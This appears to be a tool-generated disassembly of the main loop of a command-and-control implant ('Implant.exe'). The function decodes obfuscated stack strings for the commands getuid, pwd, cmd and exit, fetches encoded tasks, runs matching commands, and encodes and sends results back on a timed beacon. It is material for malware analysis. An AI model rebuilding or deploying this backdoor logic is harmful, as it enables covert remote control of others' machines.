Function at 0x1400112f3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140013d60
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x958
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x18e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x978]
mov rax, qword [0x140021200]
xor rax, rbp
mov qword [rbp + 0x928], rax
lea rcx, [0x1400280a4]
call fcn.140011438
lea rax, str._YOUR_API_KEY_HERE_
mov qword [rbp + 8], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x958]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x28], rax
cmp dword [rbp + 0x950], 2
jge 0x140013dee
lea rcx, str.usage_:_Implant.exe__Hash___n
call fcn.1400111fe
mov eax, 0xffffffff
jmp 0x140014486
mov byte [rbp + 0x44], 0x67
mov byte [rbp + 0x45], 0x65
mov byte [rbp + 0x46], 0x74
mov byte [rbp + 0x47], 0x75
mov byte [rbp + 0x48], 0x69
mov byte [rbp + 0x49], 0x64
mov byte [rbp + 0x4a], 0
mov byte [rbp + 0x64], 0x70
mov byte [rbp + 0x65], 0x77
mov byte [rbp + 0x66], 0x64
mov byte [rbp + 0x67], 0
mov byte [rbp + 0x84], 0x63
mov byte [rbp + 0x85], 0x6d
mov byte [rbp + 0x86], 0x64
mov byte [rbp + 0x87], 0
mov byte [rbp + 0xa4], 0x65
mov byte [rbp + 0xa5], 0x78
mov byte [rbp + 0xa6], 0x69
mov byte [rbp + 0xa7], 0x74
mov byte [rbp + 0xa8], 0
mov ecx, 0xc350
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xc8], rax
mov ecx, 0xc350
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x104], 1
xor eax, eax
cmp eax, 1
je 0x140014484
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011181
mov qword [rbp + 0x538], rax
mov rcx, qword [rbp + 0x538]
call fcn.14001140b
mov qword [rbp + 0x558], rax
mov rdx, qword [rbp + 0x558]
lea rcx, str.task__s_n
call fcn.1400111fe
mov rcx, qword [rbp + 0x558]
call fcn.140011271
inc rax
mov qword [rbp + 0x578], rax
mov rcx, qword [rbp + 0x578]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x598], rax
mov r8, qword [rbp + 0x578]
mov rdx, qword [rbp + 0x598]
mov rcx, qword [rbp + 0x558]
call fcn.140011122
test eax, eax
jne 0x140013f20
lea rcx, str._NULL__n
call fcn.1400111fe
mov rax, qword [rbp + 0x578]
mov rcx, qword [rbp + 0x598]
add rcx, rax
mov rax, rcx
mov byte [rax - 1], 0
mov rdx, qword [rbp + 0x598]
lea rcx, str.__Decoded_Task_:__s_n
call fcn.1400111fe
lea rdx, str.T34M
mov rcx, qword [rbp + 0x598]
call fcn.1400112b7
mov dword [rbp + 0x5b4], eax
cmp qword [rbp + 0x598], 0
je 0x14001406c
mov r8d, 3
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x64]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x14001406c
movsxd rax, dword [rbp + 0x5b4]
mov rcx, qword [rbp + 0x598]
add rcx, rax
mov rax, rcx
mov r8d, 8
mov rdx, rax
lea rcx, str.T34M
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x14001406c
call fcn.1400110c3
mov qword [rbp + 0xe8], rax
mov r8d, dword [rbp + 0x104]
lea rdx, [0x14001ddbc]
lea rcx, [rbp + 0x130]
call fcn.1400113f2
lea rdx, str.1MPL4NT
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x130]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0xe8]
lea rcx, str.___Result_:__s_n
call fcn.1400111fe
mov rcx, qword [rbp + 0xe8]
call fcn.140011366
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Encoded_Result_:__s_n_n
call fcn.1400111fe
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011244
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
cmp qword [rbp + 0x598], 0
je 0x1400141ea
mov r8d, 6
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x44]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x1400141ea
movsxd rax, dword [rbp + 0x5b4]
mov rcx, qword [rbp + 0x598]
add rcx, rax
mov rax, rcx
mov r8d, 8
mov rdx, rax
lea rcx, str.T34M
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x1400141ea
call fcn.140011479
mov qword [rbp + 0xe8], rax
mov rdx, qword [rbp + 0xe8]
lea rcx, str.___Result__s_n
call fcn.1400111fe
mov r8d, dword [rbp + 0x104]
lea rdx, [0x14001ddbc]
lea rcx, [rbp + 0x130]
call fcn.1400113f2
lea rdx, str.1MPL4NT
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x130]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rbp + 0xe8]
call fcn.140011366
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140011271
inc rax
mov qword [rbp + 0x5d8], rax
mov rcx, qword [rbp + 0x5d8]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x5f8], rax
mov r8, qword [rbp + 0x5d8]
mov rdx, qword [rbp + 0x5f8]
mov rcx, qword [rbp + 0xc8]
call fcn.140011122
test eax, eax
jne 0x14001419d
lea rcx, str.Decode_Failure_n
call fcn.1400111fe
mov eax, 1
jmp 0x140014486
mov rax, qword [rbp + 0x5d8]
mov rcx, qword [rbp + 0x5f8]
add rcx, rax
mov rax, rcx
mov byte [rax - 1], 0
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Result_Encoded_:__s_n_n
call fcn.1400111fe
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011244
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
cmp qword [rbp + 0x598], 0
je 0x140014356
mov r8d, 3
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0x84]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140014356
movsxd rax, dword [rbp + 0x5b4]
mov rcx, qword [rbp + 0x598]
add rcx, rax
mov rax, rcx
mov r8d, 8
mov rdx, rax
lea rcx, str.T34M
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140014356
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x618]
call fcn.140011357
mov eax, dword [rbp + 0x5b4]
sub eax, 4
cdqe
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x598]
add rdx, rcx
mov rcx, rdx
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 0x618]
call fcn.14001121c
lea rdx, [rbp + 0x618]
lea rcx, str.cmnd_:__s_n
call fcn.1400111fe
lea rcx, [rbp + 0x618]
call fcn.140011460
mov qword [rbp + 0xe8], rax
mov rdx, qword [rbp + 0xe8]
lea rcx, str.___Result_:__s_n
call fcn.1400111fe
mov r8d, dword [rbp + 0x104]
lea rdx, [0x14001ddbc]
lea rcx, [rbp + 0x130]
call fcn.1400113f2
lea rdx, str.1MPL4NT
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x130]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rbp + 0xe8]
call fcn.140011366
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Result_Encoded_:__s_n_n
call fcn.1400111fe
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011244
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
cmp qword [rbp + 0x598], 0
je 0x140014472
mov r8d, 4
mov rdx, qword [rbp + 0x598]
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140014472
movsxd rax, dword [rbp + 0x5b4]
mov rcx, qword [rbp + 0x598]
add rcx, rax
mov rax, rcx
mov r8d, 8
mov rdx, rax
lea rcx, str.T34M
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140014472
lea rax, str.Exited___
mov qword [rbp + 0xe8], rax
mov r8d, dword [rbp + 0x104]
lea rdx, [0x14001ddbc]
lea rcx, [rbp + 0x130]
call fcn.1400113f2
lea rdx, str.1MPL4NT
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x130]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rbp + 0xe8]
lea rcx, str.___Result_:__s_n
call fcn.1400111fe
mov rcx, qword [rbp + 0xe8]
call fcn.140011366
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Result_Encoded_:__s_n_n
call fcn.1400111fe
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011244
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
xor eax, eax
jmp 0x140014486
xor edx, edx
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_SleepEx]
jmp 0x140013e87
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001da50]
call fcn.1400113b1
mov rax, rdi
mov rcx, qword [rbp + 0x928]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x938]
pop rdi
pop rbp
ret